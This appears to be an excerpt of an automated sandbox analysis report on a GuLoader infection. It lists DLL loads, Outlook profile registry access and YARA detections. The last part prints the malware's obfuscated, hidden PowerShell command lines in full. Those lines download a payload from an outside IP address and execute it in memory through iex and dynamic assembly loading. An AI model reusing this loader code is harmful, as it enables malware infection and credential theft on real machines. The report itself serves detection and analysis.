Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptdlg.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptdlg.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\Windows\SysWOW64\msftedit.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\AtBroker.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb\| source: powershell.exe, 00000005.00000002.2024149696.0000000008611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdbi source: powershell.exe, 00000005.00000002.2020862887.0000000007490000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5` source: powershell.exe, 00000005.00000002.2008604856.0000000002CFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5@ source: powershell.exe, 00000005.00000002.2008604856.0000000002CFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t.Automation.pdb source: powershell.exe, 00000005.00000002.2008604856.0000000002D54000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2020862887.0000000007432000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2024149696.0000000008611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ?\C:\Windows\System.Core.pdbL source: powershell.exe, 00000005.00000002.2024300968.0000000008663000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %^qm.Core.pdbh source: powershell.exe, 00000005.00000002.2024300968.0000000008663000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000005.00000002.2024745379.0000000009228000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2014092746.0000000005BA2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2024565925.0000000008830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2349440816.000001C0B94F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Aktionsenhedens)$global:Lnningsdagen = [System.Text.Encoding]::ASCII.GetString($Headmen)$global:Renummereredes=$Lnningsdagen.substring(275390,26541)<#Avlingerne gatecrashers Kniplebr
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Undernomen $Ungovernedness $Ordlyd), (Hrespillet @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Kitningerne20 = [AppDomain]::CurrentDomain.GetAssemblies()
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Stnkelapperne)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($halaaben, $false).DefineType($Bhutanernes,
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Aktionsenhedens)$global:Lnningsdagen = [System.Text.Encoding]::ASCII.GetString($Headmen)$global:Renummereredes=$Lnningsdagen.substring(275390,26541)<#Avlingerne gatecrashers Kniplebr

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');R
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');R	Jump to behavior
